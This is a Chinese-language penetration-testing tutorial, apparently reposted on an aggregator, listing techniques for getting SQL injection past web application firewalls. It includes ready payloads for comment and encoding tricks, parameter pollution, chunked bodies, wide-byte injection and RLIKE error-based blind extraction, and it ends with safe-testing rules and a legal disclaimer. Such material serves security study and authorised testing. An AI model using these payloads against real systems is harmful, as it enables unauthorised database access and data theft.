news 2026/4/23 16:09:03

【SRC】SQL注入WAF 绕过应对策略(二)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【SRC】SQL注入WAF 绕过应对策略(二)

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
感谢:本文章思路归属于猎洞时刻的师傅

WAF 绕过的核心逻辑在于:利用 WAF 正则引擎、中间件解析层与底层数据库(如 MySQL)对同一段字符的“认知偏差”寻找语法间隙。

一、 语法层:字符混淆与干扰

1.1 注释符的深度运用

  • 物理分割链条UNION/**/SELECT
  • 填充干扰字符UNION/*%00*/SELECTUNION/*%0a*/SELECTUNION/*any_string*/SELECT
  • MySQL 内联注释
    • 基础:/*!UNION*/ /*!SELECT*/
    • 版本探测:/*!50448SELECT*/(若当前 MySQL 版本≥\ge5.4.48 则执行)
    • 畸形语法:/*!00000SELECT*/(在所有版本中均会执行)

1.2 空白符替代方案

WAF 往往死盯着%20(空格) 和+

  • URL 编码控制字符
    • %09(Tab),%0a(换行),%0b(垂直制表),%0c(换页),%0d(回车)
  • 符号替代 (无需空格注入)
    • 括号包裹法:UNION(SELECT(1),2,3)
    • 反引号包裹法:SELECTversion()
    • 算术/属性符法:id=1.0UNION.SELECT.1,2id=1-1+UNION+SELECT+1,2

1.3 字符集失配 (Charset Mismatch)

利用 WAF 与数据库解析编码的不一致实现“隐身”。

  • 宽字节注入:在 GBK 编码环境下,利用%df吞掉转义符\
    • id=1%df' AND 1=1 --+
  • Unicode 归一化 (Normalization):部分 WAF 会将特殊的 Unicode 字符(如)转换回标准 ASCII(如%),通过构造 WAF 识别后的“安全”字符串,在后端还原为攻击 Payload。

二、 语义层:关键字与函数变形

2.1 逻辑运算符替代

原词替代符号备注
AND&&(%26%26)标准逻辑与
OR`
ORXOR异或判断,1 XOR 0 = 1
ANDREGEXPid=1 REGEXP '^a'(正则判断)

2.2 控制流与条件混淆

IF()函数被封杀时,可以使用更复杂的结构:

  • CASE 结构CASE WHEN (1=1) THEN 1 ELSE 0 END
  • ELT 函数ELT(1, 'a', 'b')(返回第一个字符串)
  • COALESCE 函数COALESCE(NULL, 1)(返回第一个非空值)

2.3 替代元数据查询 (Bypassing information_schema)

WAF 通常严密监控information_schema

  • MySQL 5.7+ 替代方案
    • sys.schema_table_statistics_with_buffer
    • sys.x$schema_flattened_keys
  • 无列名注入 (Join Based):利用UNION SELECT * FROM (SELECT 1) a JOIN (SELECT 2) b等结构探测列数。

三、 编码与表达层:数据特征隐藏

3.1 十六进制 (Hex) 绕过

针对引号过滤的核心技巧。

  • 字符串 Hex 化'admin'→\rightarrow0x61646d696e
  • 嵌套转换UNHEX('61646d696e')

3.2 隐式类型转换与算术运算

  • 浮点数绕过id=1.0,id=1e0,id=10e-1
  • 算术还原id='1abc'-0(MySQL 将前导数字识别为 1)
  • 位运算:使用<<>>&^替代简单的数值比较。

3.3 双重编码 (Double Encoding)

若 WAF 在解码一次后即进行规则匹配,而应用端会解码两次:

  • SELECT→\rightarrow%53%45%4c%45%43%54(单次)→\rightarrow%25%35%33%25%34%35...(双重)

四、 协议与传输层:深度解析差异

4.1 分块传输 (Chunked Encoding)

手动构造 HTTP 报文,将恶意代码切分到不同的 Chunk 中,欺骗只检测前 N 个字节或完整 Body 的 WAF。

4.2 参数污染 (HPP - HTTP Parameter Pollution)

利用中间件对重复参数处理的逻辑差异:

  • PHP/Apache:取最后一个参数值。
  • ASP/IIS:拼接所有参数值(逗号分隔)。
  • 实战 Payload (ASP/IIS)?id=1/*&id=*/UNION/*&id=*/SELECT/*&id=*/1,2,3
    • WAF 看到:id=1/*,id=*/UNION/*等碎块(安全)。
    • 后端处理:id=1/*,*/UNION/*,*/SELECT/*,*/1,2,3(执行)。

4.3 脏数据填充 (Size Limit)

WAF 性能瓶颈利用:在 POST 请求中填充数 KB 的垃圾数据(如a=1&junk=AAAA...&id=1' UNION...),核心 Payload 若超出 WAF 的检测窗口深度,则会被直接放行。

五、 高级技巧:隐蔽盲注变形

5.1 正则报错盲注 (RLIKE Error)

利用正则引擎在解析非法语法时报错的特性:

  • PayloadAND 1=(SELECT 1 FROM DUAL WHERE 1 RLIKE IF(SUBSTR(user(),1,1)='r', 0x22, 0x28))
    • 0x22(双引号) 是合法正则,不报错;
    • 0x28(左括号) 是非法正则,直接导致 SQL 报错。

5.2 二阶注入 (Second-Order SQLi)

攻击 Payload 在第一次请求(如注册、修改资料)中被安全存储到数据库中,在第二次请求(如查看个人主页、生成报表)时被取出并拼接到 SQL 语句中执行。WAF 往往只关注入口流量,很难防御已在数据库内部的攻击。

六、 安全红线:生产环境避坑指南

SQL 注入不仅是数据泄露,更是逻辑篡改。

  1. 拒绝 OR 1=1:在UPDATE/DELETE点注入时,使用OR 1=1会导致全表覆盖或清空。这是重大的生产事故。
  2. 逻辑收敛测试
    • 优先使用AND 1=2(确认影响结果集缩减);
    • 探测延迟建议使用SLEEP(1)且带上LIMIT 1条件。
  3. 数据完整性保护
    • 严禁在未授权环境执行INTO OUTFILE写 WebShell;
    • 严禁执行DROP TABLETRUNCATE操作。
  4. 原则:渗透测试应遵循最小损害原则,所有破坏性操作必须在克隆的沙盒环境中验证。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 8:23:18

技术面试官视角:除了代码,更看重候选人的哪些潜质与特质?

技术面试官视角&#xff1a;除了代码&#xff0c;更看重候选人的哪些潜质与特质&#xff1f; 在技术面试中&#xff0c;优秀的代码能力是基础&#xff0c;但面试官往往更关注候选人的底层特质。以下是关键考察维度&#xff1a; 一、问题分析与解决能力 需求拆解能力 能否将模…

作者头像 李华
网站建设 2026/4/23 8:23:22

数字图像处理篇---JPEG

核心比喻&#xff1a;画一幅印象派油画 假设你要临摹一张细节丰富的照片&#xff0c;但时间有限、画布也很贵。JPEG的做法就像一位印象派画家&#xff1a; 先画轮廓和大色块&#xff08;这是最重要的信息&#xff09;。 对于远处树叶的细碎纹理、墙上的微小斑点&#xff0c;就…

作者头像 李华
网站建设 2026/4/23 1:02:44

计算机小程序毕设实战-基于springboot+小程序的高校校园信息交流平台小程序设计与实现基于微信小程序的智慧校园平台的设计与实现【完整源码+LW+部署说明+演示视频,全bao一条龙等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/23 9:59:42

数据中台建设中的10大常见坑点及避坑指南

数据中台建设中的10大常见坑点及避坑指南 关键词&#xff1a;数据中台、坑点分析、避坑指南、数据治理、技术架构、组织协同、数据质量、安全合规、运营机制、成本控制 摘要&#xff1a;数据中台作为企业数字化转型的核心基础设施&#xff0c;其建设复杂度高、涉及面广&#xf…

作者头像 李华
网站建设 2026/4/23 9:58:13

《边缘受限设备API客户端轻量化与功能适配实战指南》

不同IoT终端的资源禀赋与业务诉求存在天壤之别,环境感知类终端仅需完成基础数据上报的核心交互,工业现场传感终端则需兼顾指令接收与状态回传,楼宇监测终端还需适配间歇性的断网续传需求,这就决定轻量化设计绝不能采用一刀切的模式,必须基于终端硬件参数台账与业务场景图谱…

作者头像 李华
网站建设 2026/4/23 9:58:34

基于SpringBoot和Vue的实验室预约系统设计与实现

文章目录 详细视频演示项目介绍技术介绍功能介绍核心代码系统效果图源码获取 详细视频演示 文章底部名片&#xff0c;获取项目的完整演示视频&#xff0c;免费解答技术疑问 项目介绍 基于Spring Boot的实验室预约系统采用前后端分离架构&#xff0c;后端以Spring Boot为核心框…

作者头像 李华